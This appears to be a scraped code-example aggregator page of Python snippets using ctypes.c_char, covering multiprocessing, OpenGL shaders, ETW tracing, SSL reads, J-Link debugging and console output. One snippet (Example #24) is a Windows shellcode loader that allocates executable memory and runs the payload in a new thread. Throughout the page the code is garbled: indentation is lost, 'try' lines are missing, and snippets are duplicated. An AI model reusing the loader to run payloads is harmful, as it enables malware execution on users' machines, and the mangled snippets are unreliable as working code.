.
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
the search function
def synchronized(obj, lock=None):
assert not isinstance(obj, SynchronizedBase), 'object already synchronized'
if isinstance(obj, ctypes._SimpleCData):
return Synchronized(obj, lock)
elif isinstance(obj, ctypes.Array):
if obj._type_ is ctypes.c_char:
return SynchronizedString(obj, lock)
return SynchronizedArray(obj, lock)
else:
cls = type(obj)
scls = class_cache[cls]
except KeyError:
names = [field[0] for field in cls._fields_]
d = dict((name, make_property(name)) for name in names)
classname = 'Synchronized' + cls.__name__
scls = class_cache[cls] = type(classname, (SynchronizedBase,), d)
return scls(obj, lock)
# Functions for pickling/unpickling
shader = gl.glCreateShader(shadertype)
# convert the source strings into a ctypes pointer-to-char array, and upload them
# this is deep, dark, dangerous black magick - don't try stuff like this at home!
strings = tuple(s.encode('ascii') for s in strings) # Nick added, for python3
src = (c_char_p * len(strings))(*strings)
gl.glShaderSource(shader, len(strings), cast(pointer(src), POINTER(POINTER(c_char))), None)
# compile the shader
gl.glCompileShader(shader)
# retrieve the compile status
compile_success = c_int(0)
gl.glGetShaderiv(shader, gl.GL_COMPILE_STATUS, byref(compile_success))
# if compilation failed, print the log
if compile_success:
gl.glAttachShader(self.id, shader)
else:
gl.glGetShaderiv(shader, gl.GL_INFO_LOG_LENGTH, byref(compile_success)) # retrieve the log length
buffer = create_string_buffer(compile_success.value) # create a buffer for the log
gl.glGetShaderInfoLog(shader, compile_success, None, buffer) # retrieve the log text
print(buffer.value) # print the log to the console
for pid in enum_pids():
pid_to_name[pid] = 'Not found'
process_handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
if process_handle is None:
logging.debug('[Enum Processes]Failed to open process PID: %d Reason: %s ' % (pid, WinError(get_last_error())))
continue
image_name = (ctypes.c_char*MAX_PATH)()
max_path = DWORD(4096)
#res = GetProcessImageFileName(process_handle, image_name, MAX_PATH)
res = QueryFullProcessImageName(process_handle, 0 ,image_name, ctypes.byref(max_path))
if res == 0:
logging.debug('[Enum Proceses]Failed GetProcessImageFileName on PID: %d Reason: %s ' % (pid, WinError(get_last_error())))
continue
pid_to_name[pid] = image_name.value.decode()
return pid_to_name
ct = np.ctypeslib.as_ctypes_type(dt)
assert_(issubclass(ct, ctypes.Union))
assert_equal(ctypes.sizeof(ct), dt.itemsize)
assert_equal(ct._fields_, [
('a', ctypes.c_uint16),
('b', ctypes.c_uint32),
('', ctypes.c_char * 5), # padding
Example #5
def __init__(self, event_property, event_filters):
Initializes an ENABLE_TRACE_PARAMETERS structure.
:param event_property: Property to enable.
See https://msdn.microsoft.com/en-us/library/windows/desktop/dd392306(v=vs.85).aspx
:param event_filters: List of EVENT_FILTER_DESCRIPTOR structures
self._props = ct.pointer(et.ENABLE_TRACE_PARAMETERS())
filter_buf_size = ct.sizeof(ep.EVENT_FILTER_DESCRIPTOR) * len(event_filters)
# noinspection PyCallingNonCallable
filter_buf = (ct.c_char * filter_buf_size)()
# copy contents to buffer
for i in range(len(event_filters)):
ct.memmove(ct.cast(ct.addressof(filter_buf) + (ct.sizeof(ep.EVENT_FILTER_DESCRIPTOR) * i), ct.c_void_p),
ct.byref(event_filters[i]),
ct.sizeof(ep.EVENT_FILTER_DESCRIPTOR))
self._props.contents.Version = et.ENABLE_TRACE_PARAMETERS_VERSION_2
self._props.contents.EnableProperty = event_property
self._props.contents.ControlFlags = 0
self._props.contents.EnableFilterDesc = ct.cast(ct.pointer(filter_buf), ct.POINTER(ep.EVENT_FILTER_DESCRIPTOR))
self._props.contents.FilterDescCount = len(event_filters)
Example #6
def frompointer(pointer, count, dtype=float):
'''Interpret a buffer that the pointer refers to as a 1-dimensional array.
Args:
pointer : int or ctypes pointer
address of a buffer
count : int
Number of items to read.
dtype : data-type, optional
Data-type of the returned array; default: float.
Examples:
>>> s = numpy.ones(3, dtype=numpy.int32)
>>> ptr = s.ctypes.data
>>> frompointer(ptr, count=6, dtype=numpy.int16)
[1, 0, 1, 0, 1, 0]
dtype = numpy.dtype(dtype)
count *= dtype.itemsize
buf = (ctypes.c_char * count).from_address(pointer)
a = numpy.ndarray(count, dtype=numpy.int8, buffer=buf)
return a.view(dtype)
def __init__(self, match_any, match_all, level, filter_in, names):
struct_size = ((sum([len(name) for name in names]) * ct.sizeof(wt.CHAR)) + (ct.sizeof(wt.CHAR) * len(names))) +\
ct.sizeof(EVENT_FILTER_EVENT_NAME)
self._buf = (ct.c_char * struct_size)()
self._props = ct.cast(ct.pointer(self._buf), ct.POINTER(EVENT_FILTER_EVENT_NAME))
self._props.contents.MatchAnyKeyword = match_any
self._props.contents.MatchAllKeyword = match_all
self._props.contents.Level = level
self._props.contents.FilterIn = filter_in
self._props.contents.NameCount = len(names)
str_off = 0
for i in range(len(names)):
ct.memmove(ct.cast(ct.addressof(self._buf) + ct.sizeof(EVENT_FILTER_EVENT_NAME) + str_off,
ct.c_void_p),
names[i],
len(names[i]))
str_off += len(names[i]) + ct.sizeof(wt.CHAR)
Example #8
def _dgemm(trans_a, trans_b, m, n, k, a, b, c, alpha=1, beta=0,
offseta=0, offsetb=0, offsetc=0):
if a.size == 0 or b.size == 0:
if beta == 0:
c[:] = 0
else:
c[:] *= beta
return c
assert(a.flags.c_contiguous)
assert(b.flags.c_contiguous)
assert(c.flags.c_contiguous)
_np_helper.NPdgemm(ctypes.c_char(trans_b.encode('ascii')),
ctypes.c_char(trans_a.encode('ascii')),
ctypes.c_int(n), ctypes.c_int(m), ctypes.c_int(k),
ctypes.c_int(b.shape[1]), ctypes.c_int(a.shape[1]),
ctypes.c_int(c.shape[1]),
ctypes.c_int(offsetb), ctypes.c_int(offseta),
ctypes.c_int(offsetc),
b.ctypes.data_as(ctypes.c_void_p),
a.ctypes.data_as(ctypes.c_void_p),
c.ctypes.data_as(ctypes.c_void_p),
ctypes.c_double(alpha), ctypes.c_double(beta))
return c
def synchronized(obj, lock=None):
assert not isinstance(obj, SynchronizedBase), 'object already synchronized'
if isinstance(obj, ctypes._SimpleCData):
return Synchronized(obj, lock)
elif isinstance(obj, ctypes.Array):
if obj._type_ is ctypes.c_char:
return SynchronizedString(obj, lock)
return SynchronizedArray(obj, lock)
else:
cls = type(obj)
scls = class_cache[cls]
except KeyError:
names = [field[0] for field in cls._fields_]
d = dict((name, make_property(name)) for name in names)
classname = 'Synchronized' + cls.__name__
scls = class_cache[cls] = type(classname, (SynchronizedBase,), d)
return scls(obj, lock)
# Functions for pickling/unpickling
Example #10
def MessageClass(length=DMX_LENGTH):
assert 0 <= length <= DMX_LENGTH
assert length % 2 == 0, 'artnet only takes messages of even length'
Char, Int8, Int16 = ctypes.c_char, ctypes.c_ubyte, ctypes.c_ushort
class DMXMessage(ctypes.Structure):
# http://artisticlicence.com/WebSiteMaster/User%20Guides/art-net.pdf p47
_fields_ = [
('id', Char * 8),
('opCode', Int16),
('protVerHi', Int8),
('protVerLo', Int8),
('sequence', Int8),
('physical', Int8),
('subUni', Int8),
('net', Int8),
('lengthHi', Int8),
('length', Int8),
('data', Int8 * length), # At position 18
return DMXMessage
def synchronized(obj, lock=None):
assert not isinstance(obj, SynchronizedBase), 'object already synchronized'
if isinstance(obj, ctypes._SimpleCData):
return Synchronized(obj, lock)
elif isinstance(obj, ctypes.Array):
if obj._type_ is ctypes.c_char:
return SynchronizedString(obj, lock)
return SynchronizedArray(obj, lock)
else:
cls = type(obj)
scls = class_cache[cls]
except KeyError:
names = [field[0] for field in cls._fields_]
d = dict((name, make_property(name)) for name in names)
classname = 'Synchronized' + cls.__name__
scls = class_cache[cls] = type(classname, (SynchronizedBase,), d)
return scls(obj, lock)
# Functions for pickling/unpickling
Example #12
if not isinstance(cptr, ctypes.POINTER(ctypes.c_char)):
raise TypeError('expected char pointer')
res = bytearray(length)
rptr = (ctypes.c_char * length).from_buffer(res)
if not ctypes.memmove(rptr, cptr, length):
raise RuntimeError('memmove failed')
return res
buffer = (ctypes.c_char * nbytes).from_buffer(buffer)
processed_bytes = ctypes.c_size_t(0)
with self._raise_on_error():
result = Security.SSLRead(
self.context, buffer, nbytes, ctypes.byref(processed_bytes)
# There are some result codes that we want to treat as "not always
# errors". Specifically, those are errSSLWouldBlock,
# errSSLClosedGraceful, and errSSLClosedNoNotify.
if (result == SecurityConst.errSSLWouldBlock):
# If we didn't process any bytes, then this was just a time out.
# However, we can get errSSLWouldBlock in situations when we *did*
# read some data, and in those cases we should just read "short"
# and return.
if processed_bytes.value == 0:
# Timed out, no data read.
raise socket.timeout("recv timed out")
elif result in (SecurityConst.errSSLClosedGraceful, SecurityConst.errSSLClosedNoNotify):
# The remote peer has closed this connection. We should do so as
# well. Note that we don't actually return here because in
# principle this could actually be fired along with return data.
# It's unlikely though.
self.close()
else:
_assert_no_error(result)
# Ok, we read and probably succeeded. We should return whatever data
# was actually read.
return processed_bytes.value
Example #14
buffer = (ctypes.c_char * nbytes).from_buffer(buffer)
processed_bytes = ctypes.c_size_t(0)
with self._raise_on_error():
result = Security.SSLRead(
self.context, buffer, nbytes, ctypes.byref(processed_bytes)
# There are some result codes that we want to treat as "not always
# errors". Specifically, those are errSSLWouldBlock,
# errSSLClosedGraceful, and errSSLClosedNoNotify.
if (result == SecurityConst.errSSLWouldBlock):
# If we didn't process any bytes, then this was just a time out.
# However, we can get errSSLWouldBlock in situations when we *did*
# read some data, and in those cases we should just read "short"
# and return.
if processed_bytes.value == 0:
# Timed out, no data read.
raise socket.timeout("recv timed out")
elif result in (SecurityConst.errSSLClosedGraceful, SecurityConst.errSSLClosedNoNotify):
# The remote peer has closed this connection. We should do so as
# well. Note that we don't actually return here because in
# principle this could actually be fired along with return data.
# It's unlikely though.
self.close()
else:
_assert_no_error(result)
# Ok, we read and probably succeeded. We should return whatever data
# was actually read.
return processed_bytes.value
err_buf = (ctypes.c_char * 64)()
self.jlk.JLINKARM_ExecCommand(f'Device = {coretype}', err_buf, 64)
self.jlk.JLINKARM_TIF_Select(1)
self.jlk.JLINKARM_SetSpeed(4000)
self.jlk.JLINKARM_Reset()
Example #16
def __init__(self, filter_in, events):
struct_size = len(events) * ct.sizeof(wt.USHORT) + ct.sizeof(EVENT_FILTER_EVENT_ID)
self._buf = (ct.c_char * struct_size)()
self._props = ct.cast(ct.pointer(self._buf), ct.POINTER(EVENT_FILTER_EVENT_ID))
self._props.contents.FilterIn = filter_in
self._props.contents.Reserved = 0
self._props.contents.Count = len(events)
for i in range(len(events)):
ct.memmove(ct.cast(ct.addressof(self._buf) + ct.sizeof(EVENT_FILTER_EVENT_ID) + (ct.sizeof(wt.WCHAR) * i),
ct.c_void_p),
ct.byref(wt.USHORT(events[i])),
ct.sizeof(wt.WCHAR))
Example #17
def _getMapInfo(record, info, event_property):
When parsing a field in the event property structure, there may be a mapping between a given
name and the structure it represents. If it exists, we retrieve that mapping here.
Because this may legitimately return a NULL value we return a tuple containing the success or
failure status as well as either None (NULL) or an EVENT_MAP_INFO pointer.
:param record: The EventRecord structure for the event we are parsing
:param info: The TraceEventInfo structure for the event we are parsing
:param event_property: The EVENT_PROPERTY_INFO structure for the TopLevelProperty of the event we are parsing
:return: A tuple of the map_info structure and boolean indicating whether we succeeded or not
map_name = rel_ptr_to_str(info, event_property.epi_u1.nonStructType.MapNameOffset)
map_size = wt.DWORD()
map_info = ct.POINTER(tdh.EVENT_MAP_INFO)()
status = tdh.TdhGetEventMapInformation(record, map_name, None, ct.byref(map_size))
if tdh.ERROR_INSUFFICIENT_BUFFER == status:
map_info = ct.cast((ct.c_char * map_size.value)(), ct.POINTER(tdh.EVENT_MAP_INFO))
status = tdh.TdhGetEventMapInformation(record, map_name, map_info, ct.byref(map_size))
if tdh.ERROR_SUCCESS == status:
return map_info, True
# ERROR_NOT_FOUND is actually a perfectly acceptable status
if tdh.ERROR_NOT_FOUND == status:
return None, True
# We actually failed.
raise ct.WinError()
Example #18
buffer = (ctypes.c_char * nbytes).from_buffer(buffer)
processed_bytes = ctypes.c_size_t(0)
with self._raise_on_error():
result = Security.SSLRead(
self.context, buffer, nbytes, ctypes.byref(processed_bytes)
# There are some result codes that we want to treat as "not always
# errors". Specifically, those are errSSLWouldBlock,
# errSSLClosedGraceful, and errSSLClosedNoNotify.
if (result == SecurityConst.errSSLWouldBlock):
# If we didn't process any bytes, then this was just a time out.
# However, we can get errSSLWouldBlock in situations when we *did*
# read some data, and in those cases we should just read "short"
# and return.
if processed_bytes.value == 0:
# Timed out, no data read.
raise socket.timeout("recv timed out")
elif result in (SecurityConst.errSSLClosedGraceful, SecurityConst.errSSLClosedNoNotify):
# The remote peer has closed this connection. We should do so as
# well. Note that we don't actually return here because in
# principle this could actually be fired along with return data.
# It's unlikely though.
self.close()
else:
_assert_no_error(result)
# Ok, we read and probably succeeded. We should return whatever data
# was actually read.
return processed_bytes.value
Example #19
def FillConsoleOutputCharacter(stream_id, char, length, start):
handle = handles[stream_id]
char = c_char(char.encode())
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
success = _FillConsoleOutputCharacterA(
handle, char, length, start, byref(num_written))
return num_written.value
buffer = (ctypes.c_char * nbytes).from_buffer(buffer)
processed_bytes = ctypes.c_size_t(0)
with self._raise_on_error():
result = Security.SSLRead(
self.context, buffer, nbytes, ctypes.byref(processed_bytes)
# There are some result codes that we want to treat as "not always
# errors". Specifically, those are errSSLWouldBlock,
# errSSLClosedGraceful, and errSSLClosedNoNotify.
if (result == SecurityConst.errSSLWouldBlock):
# If we didn't process any bytes, then this was just a time out.
# However, we can get errSSLWouldBlock in situations when we *did*
# read some data, and in those cases we should just read "short"
# and return.
if processed_bytes.value == 0:
# Timed out, no data read.
raise socket.timeout("recv timed out")
elif result in (SecurityConst.errSSLClosedGraceful, SecurityConst.errSSLClosedNoNotify):
# The remote peer has closed this connection. We should do so as
# well. Note that we don't actually return here because in
# principle this could actually be fired along with return data.
# It's unlikely though.
self.close()
else:
_assert_no_error(result)
# Ok, we read and probably succeeded. We should return whatever data
# was actually read.
return processed_bytes.value
Example #21
def FillConsoleOutputCharacter(stream_id, char, length, start):
handle = handles[stream_id]
char = c_char(char.encode())
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
success = _FillConsoleOutputCharacterA(
handle, char, length, start, byref(num_written))
return num_written.value
Example #22
def get_one_filename(self):
# Read string size
size = ctypes.c_uint.from_address(self.current_data).value
if size == 0:
return None
# Read the string
filename = (ctypes.c_char * size).from_address(self.current_data + 4)[:]
filename = filename.decode('utf16')
except Exception as e:
import pdb;pdb.set_trace()
#ignore decode error
self.current_data += (size + 4)
return filename
Example #23
if self.btnOpen.text() == '打开连接':
self.jlink = ctypes.cdll.LoadLibrary(self.linDLL.text())
err_buf = (ctypes.c_char * 64)()
self.jlink.JLINKARM_ExecCommand('Device = Cortex-M0', err_buf, 64)
self.jlink.JLINKARM_TIF_Select(1)
self.jlink.JLINKARM_SetSpeed(4000)
buff = ctypes.create_string_buffer(1024)
Addr = int(self.conf.get('Memory', 'StartAddr'), 16)
for i in range(256):
self.jlink.JLINKARM_ReadMem(Addr + 1024*i, 1024, buff)
index = buff.raw.find(b'SEGGER RTT')
if index != -1:
self.RTTAddr = Addr + 1024*i + index
buff = ctypes.create_string_buffer(ctypes.sizeof(SEGGER_RTT_CB))
self.jlink.JLINKARM_ReadMem(self.RTTAddr, ctypes.sizeof(SEGGER_RTT_CB), buff)
rtt_cb = SEGGER_RTT_CB.from_buffer(buff)
self.aUpAddr = self.RTTAddr + 16 + 4 + 4
self.aDownAddr = self.aUpAddr + ctypes.sizeof(RingBuffer) * rtt_cb.MaxNumUpBuffers
self.txtMain.append(f'\n_SEGGER_RTT @ 0x{self.RTTAddr:08X} with {rtt_cb.MaxNumUpBuffers} aUp and {rtt_cb.MaxNumDownBuffers} aDown\n')
break
else:
raise Exception('Can not find _SEGGER_RTT')
except Exception as e:
self.txtMain.append(f'\n{str(e)}\n')
else:
self.linDLL.setEnabled(False)
self.btnDLL.setEnabled(False)
self.btnOpen.setText('关闭连接')
else:
self.linDLL.setEnabled(True)
self.btnDLL.setEnabled(True)
self.btnOpen.setText('打开连接')
Example #24
shellcode = bytearray(shellcode)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
except Exception as e:
#if verbose == True: print_exc()
def FillConsoleOutputCharacter(stream_id, char, length, start):
handle = handles[stream_id]
char = c_char(char.encode())
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
success = _FillConsoleOutputCharacterA(
handle, char, length, start, byref(num_written))
return num_written.value
Example #26
buffer = (ctypes.c_char * nbytes).from_buffer(buffer)
processed_bytes = ctypes.c_size_t(0)
with self._raise_on_error():
result = Security.SSLRead(
self.context, buffer, nbytes, ctypes.byref(processed_bytes)
# There are some result codes that we want to treat as "not always
# errors". Specifically, those are errSSLWouldBlock,
# errSSLClosedGraceful, and errSSLClosedNoNotify.
if (result == SecurityConst.errSSLWouldBlock):
# If we didn't process any bytes, then this was just a time out.
# However, we can get errSSLWouldBlock in situations when we *did*
# read some data, and in those cases we should just read "short"
# and return.
if processed_bytes.value == 0:
# Timed out, no data read.
raise socket.timeout("recv timed out")
elif result in (SecurityConst.errSSLClosedGraceful, SecurityConst.errSSLClosedNoNotify):
# The remote peer has closed this connection. We should do so as
# well. Note that we don't actually return here because in
# principle this could actually be fired along with return data.
# It's unlikely though.
self.close()
else:
_assert_no_error(result)
# Ok, we read and probably succeeded. We should return whatever data
# was actually read.
return processed_bytes.value
Example #27
def FillConsoleOutputCharacter(stream_id, char, length, start):
handle = handles[stream_id]
char = c_char(char.encode())
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
success = _FillConsoleOutputCharacterA(
handle, char, length, start, byref(num_written))
return num_written.value
Example #28
def FillConsoleOutputCharacter(stream_id, char, length, start):
handle = handles[stream_id]
char = c_char(char.encode())
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
success = _FillConsoleOutputCharacterA(
handle, char, length, start, byref(num_written))
return num_written.value
Example #29
def FillConsoleOutputCharacter(stream_id, char, length, start):
handle = handles[stream_id]
char = c_char(char.encode())
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
success = _FillConsoleOutputCharacterA(
handle, char, length, start, byref(num_written))
return num_written.value
buffer = (ctypes.c_char * nbytes).from_buffer(buffer)
processed_bytes = ctypes.c_size_t(0)
with self._raise_on_error():
result = Security.SSLRead(
self.context, buffer, nbytes, ctypes.byref(processed_bytes)
# There are some result codes that we want to treat as "not always
# errors". Specifically, those are errSSLWouldBlock,
# errSSLClosedGraceful, and errSSLClosedNoNotify.
if (result == SecurityConst.errSSLWouldBlock):
# If we didn't process any bytes, then this was just a time out.
# However, we can get errSSLWouldBlock in situations when we *did*
# read some data, and in those cases we should just read "short"
# and return.
if processed_bytes.value == 0:
# Timed out, no data read.
raise socket.timeout("recv timed out")
elif result in (SecurityConst.errSSLClosedGraceful, SecurityConst.errSSLClosedNoNotify):
# The remote peer has closed this connection. We should do so as
# well. Note that we don't actually return here because in
# principle this could actually be fired along with return data.
# It's unlikely though.
self.close()
else:
_assert_no_error(result)
# Ok, we read and probably succeeded. We should return whatever data
# was actually read.
return processed_bytes.value